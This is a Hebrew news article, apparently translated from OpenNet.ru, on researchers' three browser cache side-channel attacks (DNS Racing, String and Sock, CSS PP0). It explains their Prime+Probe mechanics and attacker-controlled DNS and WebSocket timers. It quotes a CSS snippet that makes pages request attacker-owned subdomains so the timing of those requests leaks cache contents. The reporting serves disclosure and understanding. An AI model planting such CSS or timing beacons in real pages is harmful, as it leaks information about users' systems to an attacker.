התקפת חילוץ מטמון CPU מיושמת בדפדפן אינטרנט ללא JavaScript

צוות חוקרים מכמה אוניברסיטאות אמריקאיות, ישראליות ואוסטרליות פיתח שלוש התקפות הפועלות על דפדפני אינטרנט כדי לחלץ מידע על תוכן מטמון המעבד. שיטה אחת עובדת בדפדפנים ללא JavaScript, והשתיים האחרות עוקפות את שיטות ההגנה הקיימות מפני התקפות ערוץ צדדי, כולל אלו המשמשות בדפדפן Tor ו-DeterFox. הקוד להדגמת ההתקפות, כמו גם רכיבי השרת הנחוצים להתקפות, מתפרסמים ב-GitHub.

כדי לנתח את תוכן המטמון, כל ההתקפות משתמשות בשיטת Prime+Probe, הכוללת מילוי המטמון עם סט ערכים סטנדרטי ואיתור שינויים על ידי מדידת זמן הגישה אליהם בעת מילוים מחדש. כדי לעקוף את מנגנוני האבטחה הקיימים בדפדפנים המפריעים למדידת זמן מדויקת, בשתי אפשרויות, פנייה לשרת DNS או WebSocket הנשלט על ידי התוקף, המנהל יומן של שעת הבקשות שהתקבלו. בהתגלמות אחת, זמן תגובה קבוע של DNS משמש כהתייחסות לזמן.

מדידות שנעשו באמצעות שרתי DNS או WebSocket חיצוניים, תוך שימוש במערכת סיווג המבוססת על למידת מכונה, הספיקו כדי לחזות ערכים בדיוק של עד 98% בתרחיש האופטימלי ביותר (ממוצע 80-90%). שיטות ההתקפה נבדקו בפלטפורמות חומרה שונות (Intel, AMD Ryzen, Apple M1, Samsung Exynos) והוכחו כאוניברסליות.

הגרסה הראשונה של מתקפת ה-DNS Racing משתמשת ביישום קלאסי של שיטת Prime+Probe באמצעות מערכי JavaScript. ההבדלים מסתכמים בשימוש בטיימר חיצוני מבוסס DNS ובמטפל שגיאות, המופעל כאשר נעשה ניסיון לטעון תמונה מדומיין שאינו קיים. טיימר חיצוני מאפשר התקפת Prime+Probe על דפדפנים המגבילים או משביתים לחלוטין את הגישה לטיימרים של JavaScript.

עבור שרת DNS הממוקם על אותה רשת Ethernet, הדיוק של הטיימר מוערך בכ-2 ms, וזה מספיק כדי לבצע התקפת ערוץ צדדי (לשם השוואה, הדיוק של טיימר JavaScript הסטנדרטי בדפדפן Tor הוא מופחת ל-100 אלפיות השנייה). עבור המתקפה, אין צורך בשליטה על שרת ה-DNS, שכן זמן הביצוע של הפעולה נבחר כך שזמן התגובה מה-DNS משמש כסימן להשלמה מוקדמת יותר של הבדיקה (תלוי אם מפעיל השגיאות הופעל מוקדם או מאוחר יותר, מסיקים מסקנה לגבי מהירות פעולת הבדיקה עם המטמון).

שיטת ההתקפה השנייה, "String and Sock", שואפת לעקוף טכניקות אבטחה המגבילות את השימוש ברמה נמוכה של מערכים ב-JavaScript. במקום מערכים, String and Sock משתמש בפעולות על מחרוזות גדולות מאוד, שגודלן נבחר כך שהמשתנה מכסה את כל המטמון של LLC (Last level cache). לאחר מכן, באמצעות הפונקציה indexOf(), מחפשים תת-מחרוזת קטנה במחרוזת, אשר בתחילה נעדרת במחרוזת המקור, כלומר. פעולת החיפוש מביאה לאיטרציה על כל המחרוזת. מכיוון שגודל השורה מתאים לגודל מטמון LLC, הסריקה מאפשרת לך לבצע פעולת בדיקת מטמון מבלי לבצע מניפולציות על המערכים. כדי למדוד עיכובים, במקום DNS, מתבצעת קריאה לשרת WebSocket הנשלט על ידי התוקף - לפני ואחרי סיום פעולת החיפוש, נשלחות שאילתות בקו, שעל בסיסן מחשב השרת את ההשהיה המשמשת לניתוח המטמון. תוכן.

הגרסה השלישית של מתקפת "CSS PP0" מיושמת באמצעות HTML ו-CSS, ויכולה לעבוד בדפדפנים עם JavaScript מושבת. השיטה דומה ל"מחרוזת וגרב", אך אינה קשורה ל-JavaScript. במהלך המתקפה נוצרת קבוצה של בוררי CSS שמחפשת לפי מסיכה. המחרוזת הגדולה הראשונית שממלאת את המטמון נקבעת על ידי יצירת תג div עם שם מחלקה גדול מאוד. בפנים יש קבוצה של divs אחרים עם מזהים משלהם. לכל אחד מה-divs המקוננות הללו יש סגנון משלו עם בורר שמחפש מחרוזת משנה. בעת רינדור דף, הדפדפן מנסה תחילה לעבד את ה-divs הפנימיים, מה שמביא לפעולת חיפוש בשורה גדולה. החיפוש מתבצע באמצעות מסיכה חסרה בכוונה ומוביל לאיטרציה על פני כל הקו, ולאחר מכן מופעל מצב ה"לא" ומתבצע ניסיון לטעון תמונת רקע המתייחסת לתחומים אקראיים: #pp:not([ class*='xjtoxg']) # s0 {background-image: url("https://qdlvibmr.helldomain.oy.ne.ro");} #pp:not([class*='gzstxf']) # s1 {background-image: url(" https://licfsdju.helldomain.oy.ne.ro");} ... X X …

תת-דומיינים משרתים על ידי שרת ה-DNS של התוקף, שיכול למדוד עיכובים בקבלת בקשות. שרת ה-DNS מנפיק NXDOMAIN עבור כל הבקשות ושומר יומן של הזמן המדויק של הבקשות. כתוצאה מעיבוד סט של divs, שרת ה-DNS של התוקף מקבל סדרה של בקשות, שההשהיות ביניהן מתאימות לתוצאה של בדיקת תוכן המטמון.

מקור: OpenNet.ru